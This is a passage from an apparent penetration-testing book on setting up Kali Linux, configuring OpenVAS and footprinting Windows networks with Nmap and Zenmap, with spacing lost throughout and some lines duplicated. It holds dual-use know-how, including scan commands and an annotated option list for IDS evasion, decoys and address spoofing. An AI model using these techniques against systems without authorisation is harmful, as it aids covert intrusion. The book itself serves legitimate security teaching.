2. EntertherootpasswordandhitEnter.Yourdesktopwillnowload.
Onyourfirstlogin,checktobesurethateverythingisuptodate.PullupaterminalwindowbyclickinginthemenubarintheupperlefthandcornerandgotoApplications|Accessories|Terminal.Thiswillbringuptheterminalorcommand-linewindow.Typethefollowing:
root@kalibook:~#apt-getupdate
Thiswillrefreshtheupdatelistandcheckfornewupdates.Nextrun:
root@kalibook:~#apt-get-yupgrade
Thiswillruntheupgradeprocessasthe-yautomaticallyanswers"yes"totheupgrade.Thesystemwillrunanupgradeofallapplications.Rebootifnecessary.
Tip
HackerTrick
Here'sanotherwaytogettoyourterminalwindowandskipthemainmenu.PressAlt+F2.Thisopensadialogwindowwithasinglefield.Youcantypeanyprogramnameintothefieldanditopenstheprogram.Inthiscase,typeterminalinthefield,andclickOK
RunningKalifromtheliveCDRunningKaliLinuxfromthelivediskisbestwhenyouaredoingforensicsorrecoverytasks.Sometools,suchasOpenVASwillnotworkatall,becausetheyhavetobeconfiguredandfileupdatesmustbesaved.Youcan'tdothisfromtheCD.Onethingyoucandoveryneatlyfromthelivediskistostartupacomputerwithoutwritinganythingtotheharddrive,andthisisanimportantconsiderationwhenyouareworkingonrecoveringfilesfromtheharddriveinquestionforforensicinvestigation.
TorunKalifromtheCD,justloadtheCDandbootfromit.Youwillseethefollowingscreen.NotethereareseveraloptionsinbootinglivefromtheCD:
BootingfromthefirstoptionloadsKalicompletewithaworkingnetworkstack.Youcanrunalotofthetoolsoverthenetworkwiththisoption.Oneofthebestusesforthismodeistherecoveryofadeadmachine.ItmayallowyoutoresurrectacrashedmachineaftertheOSdrivedies.NomatterwhatVoodooyoudowithfsckandotherdiskutilities,itjustwillnotcomebackuponitsown.IfyoubootfromtheliveCD,youcanthenrunfsckandmostlikelygetthedrivebackupenoughtocopydatafromit.YoucanthenuseKalitocopythedatafromthedrivetoanothermachineonthenetwork.BootingfromthesecondoptionwillbootKaliwithnorunningservicesandnonetworkstack.Thisoptionisgoodwhenthingsreallygobadwithasystem.Perhapsitwasstruckbylightningandthenetworkinterfacecardisdamaged.YoucandotheaboveoperationandcopythedatatoamountedUSBdriveinthismode.Thethirdoptionis"ForensicMode".Whenbootedwiththisoptionitdoesitsbestnottouchthemachineitselfwhenbooting.Nodrivesarespunupandthememoryisnotfullyflushedaswithanormalbootup.Thisallowsyoutocaptureoldmemoryfromthelastbootandallowsyoutodoaforensiccopyofanydriveswithoutactuallytouchingthedata.Youdonothaveaworkingnetworkstackorrunningservices.BootingfromthefourthandfifthoptionsrequiresyoutoinstallKaliontoaUSBdriveandrunitfromtheUSBdrive.WhenyoubootfromtheUSByouwillgetthesamescreenasfollowsbutyouwillpickoneoftheseoptions.FortheUSBwithpersistenceseethelinklistedhttp://kali.org/prstforanexcellenttutorial.
IfyouarecomfortablewiththeLinuxcommandline,youmaywantthesixthoption.ThisistheDebianNcursesinstaller.Ithasallthefunctionsofthegraphicalinstaller,butitlacksthemodernslicklookofthegraphicalinstaller.YoucanalsousethisinstallerwiththesectiononfullyinstallingtoanencryptedUSB.Thestepsareallthesame.TheGraphicalInstallerisforinstallingdirectlytoaharddriveandasinourdemonstrationyoucanalsouseittodoafullinstalltoaUSBorFlashDrive.
InstallingandconfiguringapplicationsMostofwhatyouneedcomespreloadedonKali.Thereareafewapplicationswehavefoundusefulthatarenotloadedwiththebaseinstall.WewillalsosetupandconfigureOpenVAStouseasourvulnerabilityscanner.
Gedit–theGnometexteditor
KalicomeswithLeafpadasitsdefaulttexteditor.Thisisaverylightweighttexteditor.Kali'sdesktopisGnome-basedandtheGnometexteditorGeditisamuchbettereditor.Toinstall:
root@kalibook:~#apt-get-yinstallgedit
OnceinstalledyouwillfinditunderAccessories.
Terminator–theterminalemulatorformultitasking
ThisisBo'sfavoriteterminalapplication.Youcansplitthescreenintoseveralwindows.Thisprovestobeagreathelpwhenrunningseveralsshsessionsatthesametime.Italsohasabroadcastfunctionwhereyoucanrunthesamestringinallwindowsatthesametime.
Toinstall:
root@kalibook:~#apt-get-yinstallterminator
EtherApe–thegraphicalprotocolanalysistool
Thisisagreatvisualpassive/activenetworksniffingtool.ItworksreallywellforsniffingWi-Finetworks.Itshowsyouwheretheservicesarerunning,andcanalsoshowyouwhereusersaredoingsuspiciousbit-torrentdownloadsandotherbehaviorthatisnotapprovedonmostcorporatenetworks.
SettingupandconfiguringOpenVASReconiseverything,soagoodvulnerabilityscannerisnecessary.KalicomewithOpenVASinstalled.Itmustbeconfiguredandupdatedbeforeuse.Fortunately,Kalicomeswithahelpfulscripttosetthisup.ThiscanbefoundunderApplications|openvasinitialsetup.Clickingonthiswillopenaterminalwindowandrunthescriptforyou.Thiswillsetuptheself-signedcertificatesforSSLanddownloadthelatestvulnerabilityfilesandrelateddata.Itwillalsogenerateapasswordfortheadminaccountonthesystem.
Tip
Besuretosavethispasswordasyouwillneedittologin.Youcanchangeitafteryourfirstlogin.
Kalialsocomeswithachecksetupscriptwhichwillchecktheservicesandconfiguration.Ifanissuedoescomeupitwillgiveyouhelpfulinformationontheissue.ThisscriptcanbefoundatApplications|KaliLinux|SystemServices|OpenVas|openvaschecksetup.Clickhereandaterminalwindowwillopenandrunthescript.
Thescriptresultsareasshowninthefollowingscreenshot:
Notethischeckshowstherunningportsoftheservices.Thecheckshowsawarningthattheseservicesareonlyrunningonthelocalinterface.Thisisfineforyourwork.ItmayatsomepointbeusefulforyoutoruntheOpenVASserveronsomeothermachinetoimprovethespeedofyourscans.
Next,wewilllogintotheGreenbonewebinterfacetocheckOpenVAS.Openthebrowserandgotohttps://localhost:9392.Youwillbeshownthesecuritywarningforaself-signedcertificate.Acceptthisandyouwillgetthefollowingloginscreen.
Youwillloginwiththeusernameadminandtheverylongandcomplexpasswordgeneratedduringthesetup.Don'tworry,we'regoingtochangethatoncewegetloggedin.Onceloggedinyouwillseethefollowingpage.
Thiswilltakeyoutotheuseradministrationpage.Clickthewrenchlinktotherightofthenameadminandthiswillopentheeditpagefortheadminuser.
Thiswilltakeyoutotheeditpage.ChangetheradiobuttonforUseexistingvaluetotheblankfieldandaddyournewpasswordandclicktheSavebutton.
ReportingthetestsAcleanandcleardocumentationhelpsyoureportyourwork.Therearetwodocumentationtoolsweusetokeepdocumentationorganized:
KeepNoteDradis
Adocumentorganizerisalittledifferentfromameretexteditororwordprocessor.Properdocumentationrequiresanorganizedfilingstructure.Certainly,aWindowssecurityanalystcouldcreateafolderstructurethatletsthemorganizethedocuments.Itisin-builtinthesedocument-organizingapplications,andusingthemreducesthechanceoflosingafolder,oraccidentallyrecursingyourfolders,orlosingimportantpartsoftheinvestigation'sdocumentation.
KeepNote–thestandalonedocumentorganizer
KeepNoteisthesimplertool,andquitesufficientifyouareworkingalone.TofindKeepNote,opentheApplicationmenuandclickonKaliLinux|Recordingtools|Documentation|KeepNote.ThefollowingimageshowsaKeepNotesetupsimilartothewayyouwouldrecordashorttest.
Dradis–theweb-baseddocumentorganizer
Dradisisawebapplication,andcanbeusedtosharedocumentationwithateam.ThedefaultURLforDradisishttps://127.0.0.1:3004.Theapplicationcanbehostedonaremotesecureserver,andthatisthebestfeatureaboutDradis.Thefollowingscreenshotcomesfromhttp://dradisframework.org.
RunningservicesonKaliLinuxThereareseveralservicesthatyouwillwanttoturnonwhenyouneedthem.ThegeneraluseofservicesinWindowsandLinuxistohavethemstartwhenthecomputerbootsup.Mostadministratorsspendlittletimemanagingservicesunlesssomethinggoeswrong.IntheKalisystem,youwilltendtoshutdowntheworkstationwhenyouarenotactuallydoingsecurityanalysistasks,andyoucertainlydonotwantthesecuritytools,likeOpenVASorMetasploitthatyouhaveonyourworkstation,tobeaccessibleovertheInternet.Thismeansthatyouwillwanttostartthemwhenyouneedthem,andshutthemdownwhenyouarenotusingthem.
YoucanfindthecommandstostartandstopKaliServicesfromtheApplicationmenu:KaliLinux|SystemServices|Metasploit|Community/Pro[Start|Stop]
Anotherwaytoworkwithservicesisusingthecommandline.Asanexample,considerHTTP(Apache2).Thereareseveraloptionsforservices:
Start–ThisstartstheApachewebserverandshowstheprocessID(PID)Status–Showsthestatusoftheserver.Isitup?Isitdown?Isitstuck?Restart–TakestheserverdownandrestartsitonadifferentPID.Usethisiftheserverisstuckorifyouhavechangedthenetworkingprocessesonwhichtheserverdepends.Reload–Re-readstheconfiguration.Usethiswhenyoumakeminorchangesontheconfigurations.Stop–Thisshutsdownthewebserver.
ExploringtheKaliLinuxTop10andmoreThecreatorsofKaliLinuxhaveatoolbarfortheTop10SecurityTools.Wewillshowyouappropriateusesforallofthesetools:andseveralothers:
Aircrack-ng:Encryption-crackingtoolforcracking802.11WPA-PSAandWEPkeys.Burpsuite:Anintegratedtoolfortestingwebapplications.(THC)Hydra:Aparallelizedlogincracker.John(theRipper):Apassword-crackingtool.Maltego:Anintelligenceandforensicsapplication.MetasploitFramework:Anextremelyflexiblesecuritytestingsuite.NMap:Thepre-eminentnetworkmappingtool.Owasp-ZAP:Anotherwebapplicationtestingtool.SqlMap:AnSQLinjectionanddatabasetakeovertoolWireshark:Thepremiernetworkprotocolanalysistool.
SummaryThischaptershowsyoutwowaystosetupKaliLinuxsothatyoucanuseyourcompany-issuedWindowslaptop,oranyotherlaptop,togetabetterperformanceoutofKaliLinuxandnottohaverequisitiontoanewmachinejustforKali.Mostenterprisesdonotallowyoutodual-bootyourcomputer,andrunningKalionaVMthrottlestheresourcesforyourKaliinstallation.Further,thischaptershowsyouthetworeportingtoolsweuse,andthesituationswhereeachofthesetoolsmakesthemostsense.WeshowedyouhowtosetupOpenVASforthefirsttime.WealsoshowedyouhowtorunservicesonKaliLinux.Finally,weintroducedthetoptenKalisecuritytoolsweuseeverydaytoperformpenetrationtestsonWindowsnetworks.
Chapter2.InformationGatheringandVulnerabilityAssessmentThereisamyththatallWindowssystemsareeasytoexploit.Thisisnotentirelytrue.AlmostanyWindowssystemcanbehardenedtothepointthatittakestoolongtoexploititsvulnerabilities.Inthischapter,youwilllearnthefollowing:
HowtofootprintyourWindowsnetworkanddiscoverthevulnerabilitiesbeforethebadguysdoWaystoinvestigateandmapyourWindowsnetworktofindtheWindowssystemsthataresusceptibletoexploits
Insomecases,thiswillbeaddingtoyourknowledgeofthetop10securitytools,andinothers,wewillshowyouentirelynewtoolstohandlethiscategoryofinvestigation.
FootprintingthenetworkYoucan'tfindyourwaywithoutagoodmap.Inthischapter,wearegoingtolearnhowtogathernetworkinformationandassessthevulnerabilitiesonthenetwork.IntheHackerworldthisiscalledFootprinting.Thisisthefirststeptoanyrighteoushack.Thisiswhereyouwillsaveyourselftimeandmassiveheadaches.WithoutFootprintingyourtargets,youarejustshootinginthedark.Thebiggesttoolinanygoodpentester'stoolboxisMindset.Youhavetohavethemindofasniper.Youlearnyourtargetshabitsanditsactions.Youlearnthetrafficflowsonthenetworkwhereyourtargetlives.Youfindtheweaknessesinyourtargetandthenattackthoseweaknesses.Searchanddestroy!
InordertodogoodFootprinting,youhavetouseseveraltoolsthatcomewithKali.Eachtoolhasitstrongpointsandlooksatthetargetfromadifferentangle.Themoreviewsyouhaveofyourtarget,thebetterplanofattackyouhave.Footprintingwilldifferdependingonwhetheryourtargetsareexternalonthepublicnetwork,orinternalandonaLAN.Wewillbecoveringbothaspects.
Scanningandusingthesetoolsagainstamachineonthepublicnetworkifyoudonothavewrittenpermissiontodosoisafederalcrime.Inthisbook,formostoftheinstancesofKaliLinux,wewillbeusingvirtualmachinesrunningonVMwareandOracleVirtualBoxthatarebuiltspecificallyforthisbook.TheinstancesofKalithatweuseonadailybasisarefairlyheavilycustomized,anditwouldtakeawholebookjusttocoverthecustomizations.Forexternalnetworks,wewillbeusingseveralliveserversontheInternet.Pleaseberespectfulandleavetheseaddressesaloneastheyareintheauthors'AtlantaCloudTechnologyservercluster.
Pleasereadtheparagraphaboveagain,andrememberyoudonothaveourpermissiontoattackthesemachines.Don'tdothecrimeifyoucan'tdothetime.
ExploringthenetworkwithNmap
Youcan'ttalkaboutnetworkingwithouttalkingaboutNmap.NmapistheSwissArmyknifefornetworkadministrators.ItisnotonlyagreatFootprintingtool,butalsothebestandcheapestnetworkanalysistoolanysysadmincanget.It'sagreattoolforcheckingasingleservertomakesuretheportsareoperatingproperly.Itcanheartbeatandpinganentirenetworksegment.ItcanevendiscovermachineswhenICMP(ping)hasbeenturnedoff.Itcanbeusedtopressure-testservices.Ifthemachinefreezesundertheload,itneedsrepairs.
Nmapwascreatedin1997byGordonLyon,whogoesbythehandleFyodorontheInternet.FyodorstillmaintainsNmapanditcanbedownloadedfromhttp://insecure.org.YoucanalsoorderhisbookNmapNetworkScanningonthatwebsite.Itisagreatbook,wellworththeprice!FyodorandtheNmaphackershavecollectedagreatdealofinformationandsecuritye-maillistsontheirsite.SinceyouhaveKaliLinux,youhaveafullcopyofNmapalreadyinstalled!HereisanexampleofNmaprunningagainstaKaliLinuxinstance.OpentheterminalfromtheicononthetopbarorbyclickingonthemenulinkApplication|Accessories|Terminal.YoucouldalsochoosetheRootTerminalifyouwant,butsinceyouarealreadyloggedinasRoot,youwillnotseeanydifferencesinhowtheterminalemulatorbehaves.
Typenmap-A10.0.0.4atthecommandprompt(youneedtoputintheIPofthemachineyouaretesting).Theoutputshowstheopenportsamong1000commonlyusedports.KaliLinux,bydefault,hasnorunningnetworkservices,andsointhisrunyouwillseeareadoutshowingnoopenports.
Tomakeitalittlemoreinteresting,startthebuilt-inwebserverbytyping/etc/init.d/apache2start.Withthewebserverstarted,runtheNmapcommandagain:
nmap-A10.0.0.4
Asyoucansee,Nmapisattemptingtodiscovertheoperatingsystem(OS)andtotellwhichversionofthewebserverisrunning:
HereisanexampleofrunningNmapfromtheGitBashapplication,whichletsyourunLinuxcommandsonyourWindowsdesktop.ThisviewshowsaneatfeatureofNmap.Ifyougetboredoranxiousandthinkthesystemistakingtoomuchtimetoscan,youcanhitthedownarrowkeyanditwillprintoutastatuslinetotellyouwhatpercentageofthescaniscomplete.Thisisnotthesameastellingyouhowmuchtimeisleftonthescan,butitdoesgiveyouanideawhathasbeendone:
Zenmap
NmapcomeswithaGUIfrontendcalledZenmap.ZenmapisafriendlygraphicinterfacefortheNmapapplication.YouwillfindZenmapunderApplications|InformationGathering|Zenmap.LikemanyWindowsengineers,youmaylikeZenmapmorethanNmap:
Hereweseealistofthemostcommonscansinadrop-downbox.OneofthecoolfeaturesofZenmapiswhenyousetupascanusingthebuttons,theapplicationalsowritesoutthecommand-lineversionofthecommand,whichwillhelpyoulearnthecommand-lineflagsusedwhenusingNmapincommand-
linemode.
Tip
Hackertip
MosthackersareverycomfortablewiththeLinuxCommandLineInterface(CLI).YouwanttolearntheNmapcommandsonthecommandlinebecauseyoucanuseNmapinsideautomatedBashscriptsandmakeupcronjobstomakeroutinescansmuchsimpler.Youcansetacronjobtorunthetestinnon-peakhours,whenthenetworkisquieter,andyourtestswillhavelessimpactonthenetwork'slegitimateusers.
Thechoiceofintensescanproducesacommandlineofnmap-T4-A-v.Thisproducesafastscan.
TheTstandsforTiming(from1to5),andthedefaulttimingis-T3.Thefasterthetiming,therougherthetest,andthemorelikelyyouaretobedetectedifthenetworkisrunninganIntrusionDetectionSystem(IDS).The-AstandsforAll,sothissingleoptiongetsyouadeepportscan,includingOSidentification,andattemptstofindtheapplicationslisteningontheports,andtheversionsofthoseapplications.Finally,the-vstandsforverbose.-vvmeansveryverbose:
Thedifferenceverbositymakes
ThenextthreeimagesshowthedifferenceverbositymakesinanOSscan.TheOSscanincludesaStealthscan,sonmap-Ohostnameisexactlythesameasnmap-sS-Ohostname.Youcanchoosetohaveverbositylevelsfrom1to5byusingthe-voption.Asanexample,wewilltestamachinerunninganApachewebserver.
First,wewillrunnmap-Aandthenwewillrunitasnmap-A-v.Verbositygivesalotmoreinformation.Firstweseeanormalrun.Itproducessomeoutput.Thisisthewaytotestwholenetworks,becauseitisquickandproducessomeusefuldata:
Theverboseversion,whichfollows,hasbeenadjustedslightlytofitallthedetailintotheimage.Thedifferentscanoptionshavedifferentenhancedcontentwhen
the-vor-vvoptionsareaddedtothesearchstrings.Itmakessensetouse-vor-vvwhenyouhavechosensomelikelytargetsusingthebasicdisplayoption:
Dependingupontheservicesrunningonthetargetmachine,-vand-vvmaybequitedifferent.Youwon'tknowuntilyoutry,soifyoucomeacrossamachinewithinterestingservices,byallmeanstry-vv:
Scanninganetworkrange
Theexamplebelowhasanetworkrangeof192.168.202.0/24,andthescantypechosenisanintensescanwithnoping.YouthenclicktheStartScanbuttonandyourscanruns.DuringthescanyouwillseetheoutputintheNmapOutputtabonthescreen.Fromourscan,sixactivehostsareonthenetwork.FromtheiconsnexttotheIPaddresseswecantellwehaveidentifiedtwoWindowsmachines,twoLinuxmachines,andtwounknownOSsystems.
NoteintheCommandtextboxthestringyouwoulduseinthecommandlinetorunthesamescanfromthecommandline:
IfanetworkhasICMPturnedoff,attemptingtopingthemachinestakesalotoftime.IttakesalmostaslongaspingingUDPportsonthetargetmachines.Foreithercase,eachmachinewilltakeapproximately75secondsperport.Inthefirstcase,thatmeansapingofsixmachinestakes450secondsjusttofailthepingtest.UDPsearchestestmanymoreportspermachine.At1000portstestedperstandardUDP-portscan,youaregoingtotakeabout21hourspermachine,justtotestUDP.Ifyoudon'thaveareallygoodreasontocheckUDPportswith
Nmap,itisnotacost-effectiveexercise.
ByclickingtheTopologytabandthenclickingtheHostsViewerbuttonyougetanicelistofthehosts.Byclickingtheaddressyoucanseethedetailsofeachhost.Notethattheaddressesaredifferentcolors.Nmappicksoutthelowhangingfruitforyou.Greenissecured.Yellowandredhavevulnerabilitiesorservicesthatcouldbeexploited:
Zenmapalsohasanicefeatureforcomparingscans.YouwillfinditintheMenubarunderCompareResults.Inthefollowingscreenshotyouwillseewerantwoscansonthenetwork.Whenwecomparedthetwo,anewmachinewasfoundonthesecondscan.Theresultsofthefirstscanaremarkedinredandshow192.168.202.131asDown.Ingreenitisshowingitasupandshowstheopenportsandsysteminformation:
Openportsandsysteminformation
BelowistheresultofrunningNmapfromthecommandline.Asyousawpreviously,NmaphasbeenportedtoWindows.Ifyourcompanyallowsit,NmapcanberunonaWindowssystembythecommandlineineithertheCommandwindoworthroughWindowsPowerShell:
IfyouhavealargenetworkandjustwanttofindtheWindowsmachines,youcanfocusonWindowsvulnerabilitiesYoucanruntheQuickScan(nmap-T4-F10.0.0.0/24)ortheQuickScanPlus(nmap-sV-T4-O-F–version-light10.0.0.0/24).Thesewillgiveyouagoodideaofwhichmachinesyoureallywanttofocuson.Itlookslike10.0.0.12isaWindowsmachine,basedonthefactthatfouroffiveopenportsareWindows-related:
WhenyouarelookingattheTopology,youcanadjustthesizeofthegroupbychangingthevaluesofthecontrolsatthebottomofthewindow.Thesizeofthegraphicisincreasedbyincreasinginterestfactor.Thestandardviewputsthelocalhostatthecenterofthegrouping,butifyouclickononeoftheotherhosts,itisbroughttothecenter:
Changingthevaluesofthecontrolsusingtopology
EventhoughZenmaphasashortpunchydrop-downlistofpopularandusefulscans,therearequiteanassortmentofcommandsandoptionsthatyoucanuseincustomizingyourscans.ThisisaviewofthehelpfilethatcomeswithNmap,withourcommentsincluded.Youcanfindmuchmoreonthemanualpageathttp://nmap.org/book/man.
Wherecanyoufindinstructionsonthisthing?OnaLinuxboxtherearethreeplacesyoucanfindmoreinformationaboutacommand-lineapplication:
TheHelppage:AlmostallUnixandLinuxapplicationshaveahelpfilethatyoucanaccessbytypingtheapplicationnameand-honthecommandline,forexample,root@kali-01:~#nmap-h.TheManpage:Hereisafullmanualformostmoderncommand-lineapplicationsthatyoucanaccessbytypingmanandtheapplicationnameonthecommandline.Forexample,root@kali-01:~#manrsyncgetsyouaprettygoodexplanationofhowtouseRsync,thesecureandloggedfiletransferprotocol.Manpagesareofvaryingqualityandmanyofthemareactuallywrittenbyrocketscientists,soanewbiemayhavetoresearchhowtoreadthemanualpagebeforeitcanbeuseful.TheNmapmanpageisclearlywrittenwithunderstandableexamplestotryout.Infopages:ForBASHshellbuilt-ins,thereisagroupofinfopagesinsteadofmanpages.Togetattheinfopages,typethewordinfoandtheapplicationname.Forexample,root@kali-01:~#infolswillpresentyouwiththeinfopageforthecommandls,whichistheLinuxversionoftheDOScommandDIR
The-hcommandoptionpresentsyouwithin-linetextintheterminalwindow,soyouarereturnedtothecommandpromptimmediatelyaftertheinformationscrollspast.Themanandinfocommandslaunchthetextreader,Less,soyoucanscrollupanddownonthedocument,eventhoughyouarestillintheterminalwindow.ToexitfromLess,justpresstheqkey.
TheShiftkeyisyourfriendintheLinuxTerminalEmulator.Ifyouwanttoscrollupanddownintheterminalwindow,forinstance,ifthe-hhelpfileislongerthanasinglescreen,justholdShift+theupordowncursorkey.Thehot-keysequenceforcopyandpasteisShift+Ctrl+CandShift+Ctrl+V,respectively.Ctrl+CclosestherunningapplicationintheBashshell,andCtrl+Vdoesnothingatall.
ThefollowingtableisatruncatedlistofalltheoptionsinNmap.ThisisthesameinformationthatyouwouldgetfromthemanualfileonNmapthatisalreadyinstalledonyourKaliLinuxinstallation:
Usage:nmap[ScanType(s)][Options]{targetspecification}
TARGETSPECIFICATION:
Canpasshostnames,IPaddresses,networks,andsoon
Example:atlantacloudtech.com,aarrrggh.com/26,192.168.3.111;10.1-16.0-255.1-254
-iL"inputfilename" Inputfromlistofhosts/networks.
-iR"numhosts" Chooserandomtargets.
--exclude"host1[,host2][,host3],...."
Excludehosts/networks.
--excludefile"exclude_file
Excludelistfromfile.
HOSTDISCOVERY:
-sL Listscan-simplylisttargetstoscan.
-sn Pingscan-disableportscan.
-Pn Treatallhostsasonline;skipthepingforhostdiscovery.
-PS[portlist] TCPSYNdiscoverytogivenports.
-PA[portlist] TCPACKdiscoverytogivenports.
-PU[portlist] UDPdiscoverytogivenports.
-PY[portlist] SCTPdiscoverytogivenports.
-PE ICMPechodiscoveryprobe.
-PP ICMPtimestampdiscoveryprobe.
-PM ICMPnetmaskrequestdiscoveryprobe.
-PO[protocollist] IPProtocolPing,asopposedtoanICMPping.
-n NeverdoDNSresolution[default:sometimes].
-R Alwaysresolve[default:sometimes].
HackerTip:
ResolvingDNSgivesyoumoreinformationaboutthenetwork,butitcreatesDNS-Requesttraffic,whichcanalertasysadminthatthereissomethinggoingonthatisnotentirelynormal–especiallyiftheyarenot
usingDNSinthenetwork.
--dns-servers"serv1[,serv2],..."
SpecifycustomDNSservers.
--system-dns UsetheOS'sDNSresolver.Thisisthedefaultbehavior.
--traceroute Tracethehoppathtoeachhost.Thiswouldonlymakesenseinlarge,complicated,segmentednetworks.
SCANTECHNIQUES:
-sS TCPSYNscan(youwillusethisoneoften).
-sT TCPConnect()scan(youwillusethisoneoften).
-sA TCPACKscans.
-sW TCPWindowscans.
-sM TCPMaimonscans.
-sU UDPScan.
-sN TCPNullscan.
-sF TCPFINscan.
-sF TCPFINscan.
-sX: TCPXmasscan.Allflagsset.Confusesthetargetmachine.
--scanflags"flags" CustomizeTCPscanflags,includingthoseinthe9rowsbelow.
NS ECN-nonceconcealmentprotection(experimental:seeRFC3540).
CWR CongestionWindowReduced.Usedtoindicatethatpacketsarebeingreducedinsizetomaintaintrafficundercongestednetworkconditions.
ECE ECN-Echohasadualrole,dependingonthevalueoftheSYNflag.Itindicatesthefollowing:
IftheSYNflagisset(1),thattheTCPpeerisECNcapable.
IftheSYNflagisclear(0),thatapacketwiththeCongestionExperiencedflagintheIPheadersetisreceivedduringnormaltransmission(addedtoheaderbyRFC3168).
URG IndicatesthattheUrgentpointerfieldissignificant.
ACK IndicatesthattheAcknowledgmentfieldissignificant.
PSH Pushfunction.Askstopushthebuffereddatatothereceivingapplication.
RST Resettheconnection.
SYN Synchronizesequencenumbers.
FIN Nomoredatafromsender.
-sI"zombiehost[:probeport]"
Idlescan.
-sO IPprotocolscan.
-b"FTPrelayhost" FTPbouncescan.
PORTSPECIFICATIONANDSCANORDER:
PORTSPECIFICATIONANDSCANORDER:
-p"portranges" Onlyscanspecifiedports,forexample-p22;-p1-65535;-pU:53,111,137,T:21-25,80,139,8080,S:9.
-F Fastmode-Scanfewerportsthanthedefaultscan.
-r Scanportsconsecutively–don'trandomize.
--top-ports"number" Scan"number"mostcommonports.
--port-ratio"ratio" Scanportsmorecommonthan"ratio".
SERVICE/VERSIONDETECTION:
-sV Probeopenportstodetermineservice/versioninfo.
--version-intensity"level"
Setfrom0(light)to9(tryallprobes).
--version-light Limittomostlikelyprobes(intensity2).
--version-all Tryeverysingleprobe(intensity9).
--version-trace Showdetailedversionscanactivity(fordebugging).
SCRIPTSCAN:
-sC equivalentto–script=default.
--script="Luascripts": "Luascripts"isacomma-separatedlistofdirectories,script-files,orscript-categoriesthatyouenterhere.
--script-args="n1=v1,[n2=v2,...]"
Youprovidearguments(orparameters)toscripts.
--script-args-file=filename
provideNSEscriptargumentsfromafile.
--script-trace Showalldatasentandreceived.
--script-updatedb Updatethescriptdatabase.
--script-help="Luascripts"
Showhelpaboutscripts."Luascripts"isacomma-separatedlistofscript-filesorscript-categories.
OSDETECTION:
-O EnableOSdetection.
--osscan-limit LimitOSdetectiontopromisingtargets.
--osscan-guess GuessOSmoreaggressively.
TIMINGANDPERFORMANCE:
Optionsspecifyingtimeintervalsareinseconds,orappend'ms'(milliseconds),'s'(seconds),'m'(minutes),or'h'(hours)tothevalue.Forexample23ms).
-T"0-5" Settimingtemplate(higherisfaster,andalsonoisier).
--min-hostgroup"size" Parallelhostscangroupsizes.
--max-hostgroup"size" Parallelhostscangroupsizes.
--min-parallelism"numprobes"
Probeparallelization.
--max-parallelism"numprobes"
Probeparallelization.
--min-rtt-timeout"time" Specifiesproberoundtriptime.
--max-rtt-timeout"time" Specifiesproberoundtriptime.
--initial-rtt-timeout"time"
Specifiesproberoundtriptime.
--max-retries"tries" Capsthenumberofportscanproberetransmissions.
--host-timeout"time" Giveupontargetafterthistimeinterval.
--scan-delay"time" Adjustdelaybetweenprobes.
--max-scan-delay"time" Adjustdelaybetweenprobes.
--min-rate"number" Sendpacketsnoslowerthan"number"persecond.
--max-rate"number" Sendpacketsnofasterthan"number"persecond.
FIREWALL/IDSEVASIONANDSPOOFING:
-f;--mtu"value" fragmentpackets(optionallyw/givenMTU).
-D"decoy1,decoy2[,ME],..."
Cloakascanwithdecoys.
-S"IP_Address" Spoofsourceaddress.
-e"iface" Usespecifiedinterface.
-g/--source-port"portnum"
Usegivenportnumber.
--proxies"url1,[url2],..." RelayconnectionsthroughHTTP/SOCKS4proxies.
--data-length"number" Appendrandomdatatosentpackets.
--ip-options"options" SendpacketswithspecifiedIPoptions.
--ttl"value" SettheIPtime-to-livefield.
--spoof-mac"macaddress/prefix/vendorname"
SpoofyourMACaddress.
--badsum SendpacketswithabogusTCP/UDP/SCTPchecksum.
OUTPUT:
-oN"file" Outputscantothegivenfilenameinnormalformat.
-oX"file" OutputscantothegivenfilenameinXMLformat.
-oS"file" Outputscantothegivenfilenameins|"rIptkIddi3format.Thisoneisjustforfun.
-oG"file" OutputscantothegivenfilenameinGrepableformat.
-oA"basename" Outputinthethreemajorformatsatonce.
-v Increaseverbositylevelfrom1-5.Use-vv(verbosity2)–vvv(verbosity3)andsoonforgreatereffect.
-d Increasedebugginglevel0-6.Youcanrepeatthe"d"likeverbositylevels,oruse-d5tosavespaceinyourcommandline.Thedefaultis-d0.
--reason Displaythereasonaportisinaparticularstate.
--open Onlyshowopen(orpossiblyopen)ports.
--packet-trace Showallpacketssentandreceived.
--iflist Printhostinterfacesandroutes(fordebugging).
--log-errors Logerrors/warningstothenormal-formatoutputfile.
--append-output Appendtoratherthanclobberspecifiedoutputfiles.
--resume"filename" Resumeanabortedscan.
--stylesheet"path/URL" XSLstylesheettotransformXMLoutputtoHTML.
--webxml ReferencestylesheetfromNmap.orgformoreportableXML.
--webxml ReferencestylesheetfromNmap.orgformoreportableXML.
--no-stylesheet PreventassociatingXSLstylesheetwithXMLoutput.
MISC:
-6 EnableIPv6scanning.
-A EnableOSdetection,versiondetection,scriptscanning,andtraceroute.Thisisashortcutfor-sS-sV--traceroute-O.Wolf'sfavoritescanningoption.
--datadir"dirname" SpecifycustomNmapdatafilelocation.
--send-eth SendusingrawEthernetframes.
--send-ip SendusingrawIPpackets.
--privileged Assumethattheuserisfullyprivileged.
--unprivileged Assumetheuserlacksrawsocketprivileges
-V PrintNmapversionnumber.Doesn'tworkinconjunctionwithotheroptions.
-h Printthehelpsummarypage.
EXAMPLES:
nmap-v-Aboweaver.com
nmap-v-sn192.168.0.0/1610.0.0.0/8
nmap-v-iR10000-Pn-p80
Tip
HackerTip:
YoucanconstructcustomNmapscanningstringsandcopythemintoZenmapsoyougetthebenefitsoftheZenmapinterface.
AreturntoOpenVASInChapter1,SharpeningtheSawwesetupOpenVASforvulnerabilityscanning.Nmapdoesagreatjobofreportingportsandservicesbutlackstheabilitytoscanforvulnerabilities.OpenVASwillfindthevulnerabilitiesandproduceareportofthesystems.OpenVASupdatestheirvulnerabilitylistweeklysoitisbesttoupdateOpenVASbeforerunningascan.TodothisonKali,runthefollowingcommandsfromtheterminalwindow:
root@kalibook:~#OpenVAS-nvt-sync
ThiswillrunthevulnerabilityupdatesforOpenVAS.ThefirsttimeyourunityouwillseetheinformationinthefollowingscreenshotaskingtomigratetousingRsynctoupdatethevulnerabilities.EnteryandhittheEnterkey.Theupdatewillstart.Thefirsttimethisisrun,itwilltakequiteawhile,becauseithastogiveyoutheentirelistofpluginsandtestsavailable.Insubsequentrunsoftheupdatecommand,itonlyaddstheneworchangeddata,andisfarfaster:
Updatecommand
Updatecommand
Youwillalsoneedtorunthefollowingcommand:
root@kalibook:~#OpenVAS-scapdata-sync
